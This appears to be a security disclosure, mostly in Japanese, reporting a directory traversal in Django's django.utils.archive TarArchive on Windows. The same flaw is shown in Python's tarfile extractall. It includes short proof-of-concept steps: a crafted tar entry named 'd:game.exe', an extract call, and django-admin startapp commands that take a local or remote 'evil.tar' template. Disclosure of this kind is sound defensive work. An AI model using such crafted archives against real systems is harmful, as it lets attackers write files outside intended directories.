
django.utils.archive.pyのlineno:171、Class TarArchiveにディレクトリトラバーサルの脆弱性があります。
関数呼び出しos.path.join(to_path, name)はパラメータ"name"をチェックしていません。もし誰かがWindowsプラットフォームでこのユーティリティを使用すると、ディレクトリトラバーサルのリスクがあります。POCは以下です:
from django.utils import archive
archive.extract('test.tar','.')
test.tarには"d:game.exe"という名前のファイルが含まれており、POCはD://game.exeに"game.exe"という名前のファイルを作成します("."ではなく)。Djangoコアはこのユーティリティを使用していないようですが、それでもリスクだと思います。誰かがウェブアプリでこのユーティリティを使用して何かをアーカイブするかもしれません。
そして別のシナリオがあります:"djangoadmin startapp --template" コマンドはarchive.pyを使用します。https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp を参照してください。POCは以下です:
django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"
from django.utils import archive
archive.extract('test.tar','.')
Python/Lib/tarfile.pyにも同じ問題があります:
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()
そしてドキュメントは警告を出しています。https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall を参照してください。